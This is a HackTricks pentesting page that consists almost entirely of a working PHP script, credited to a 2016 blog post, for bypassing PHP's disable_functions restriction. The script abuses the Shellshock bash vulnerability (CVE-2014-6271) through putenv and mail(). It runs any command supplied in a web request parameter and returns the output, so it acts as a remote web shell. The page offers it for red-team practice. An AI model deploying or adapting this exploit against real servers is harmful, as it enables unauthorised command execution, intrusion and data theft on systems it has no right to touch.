disable_functions - PHP 5.x Shellshock Exploit - HackTricks

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

# PHP 5.x Shellshock Exploit

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

    <?php

    echo "Disabled functions: ".ini_get('disable_functions')."\n";
    function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
       if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
         $tmp = tempnam(".","data");
         putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
         // In Safe Mode, the user may only alter environment variables whose names
         // begin with the prefixes supplied by this directive.
         // By default, users will only be able to set environment variables that
         // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
         // PHP will let the user modify ANY environment variable!
         mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
       }
       else return "Not vuln (not bash)";
       $output = @file_get_contents($tmp);
       @unlink($tmp);
       if($output != "") return $output;
       else return "No output, or not vuln.";
    }
    echo shellshock($_REQUEST["cmd"]);
    ?>

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.